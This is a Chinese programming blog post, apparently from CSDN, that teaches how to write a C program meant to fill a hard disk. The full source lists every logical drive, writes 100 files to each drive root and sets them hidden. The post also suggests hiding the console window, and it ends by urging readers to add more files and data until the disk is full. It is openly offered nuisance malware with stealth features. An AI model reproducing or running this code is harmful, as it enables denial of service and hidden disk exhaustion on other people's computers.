C/C++轻松写可塞满硬盘的程序

47 篇文章 38 订阅

关于写可塞满硬盘的程序

我们先想想思路:

第一步:获取逻辑盘符

第二步:创建文件

第三步:文件写入数据

扩展要求:

一:隐藏窗口

二:文件设置为隐藏属性


下面我们对上述的思路介绍一个API,接受完后给出源代码

GetLogicalDriveStrings function

Fills a buffer with strings that specify valid drives in the system.

DWORD WINAPI GetLogicalDriveStrings(
  _In_  DWORD  nBufferLength,
  _Out_ LPTSTR lpBuffer
);


此函数是把系统里面可用的磁盘读取到lpBuffer里面

成功则返回获取的总长度,

失败有两个情况一个是buffer不够长,一个是其他问题


关于其他的API函数,都比较简单,有些可以从命名意思就知道功能,在此不在介绍,源码中也有注释,

下面看源代码

#include <Windows.h>

int main()
{
	//FreeConsole();	//隐藏控制台

	char strDriveStrings[MAXBYTE] = { 0 };

	//获取逻辑地址
	DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);

	for (size_t i = 0; i < dwDriveStrLen; i += 4)	//每4个字节表示一个盘符             
	{
		char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };
		strncpy_s(strRoot,&strDriveStrings[i], 4);
		strcpy_s(strTargetPath, strRoot);

		//创建100个文件
		for (int j = 0; j < 100; j++)
		{
			char TempStrTargetPath[MAX_PATH];
			strcpy_s(TempStrTargetPath, strTargetPath);
			char FileName[MAXBYTE];
			char Date[MAXBYTE] = "11111";
			wsprintf(FileName, "%d.txt", j);
			strcat_s(TempStrTargetPath, FileName);

			//创建文件
			HANDLE hFile;
			hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
			if (hFile == INVALID_HANDLE_VALUE)
				continue;
			DWORD Pointer;

			//写入数据
			WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);
			CloseHandle(hFile);

			//将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值
			memset(FileName, 0, sizeof(FileName));

			//设置为隐藏
			SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);
		}
		
	}
	return 0;
}
把文件浏览属性设置好:

运行结果如下:


如果出现以下问题:

修改字符集如下:


所以大家只要多搞几个文件,多搞点数据,硬盘就会被塞满

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

IT1995

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值